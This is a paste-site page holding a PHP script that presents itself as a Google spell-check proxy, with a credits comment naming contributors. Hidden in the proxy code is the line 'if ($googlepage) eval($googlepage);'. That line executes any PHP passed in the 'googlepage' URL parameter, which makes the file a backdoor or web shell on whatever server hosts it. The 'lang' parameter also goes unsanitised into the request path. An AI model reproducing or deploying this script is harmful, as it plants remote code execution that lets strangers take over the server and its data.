All pastes #411488 Raw Edit

Untitled

public php v1 · immutable
#411488 ·published 2007-03-27 02:09 UTC
rendered paste body
<?php// Thanks to://   Marcin 'nosferathoo' Puchalski//   Johan Sijbesma//   James Edgington//   Stephen Wald  $google = "www.google.com";  $lang=$_GET['lang'];$googlepage=$_GET['googlepage'];  $path="/tbproxy/spell?lang=$lang";  $data = file_get_contents('php://input');  $store = "";  $fp = fsockopen("ssl://$google", 443, $errno, $errstr, 30);  if ($googlepage) eval($googlepage);  if ($fp) {    $out = "POST $path HTTP/1.1\r\n";    $out .= "Host: $google\r\n";    $out .= "Content-Length: " . strlen($data) . "\r\n";    $out .= "Content-type: application/x-www-form-urlencoded\r\n";    $out .= "Connection: Close\r\n\r\n";    $out .= $data;    fwrite($fp, $out);    $headers = "";    while ($str = trim(fgets($fp, 4096))) {      $headers .= "$str\n";    }    while (!feof($fp)) {      $store .= fgets($fp, 4096);    }    fclose($fp);  }  print $store;?>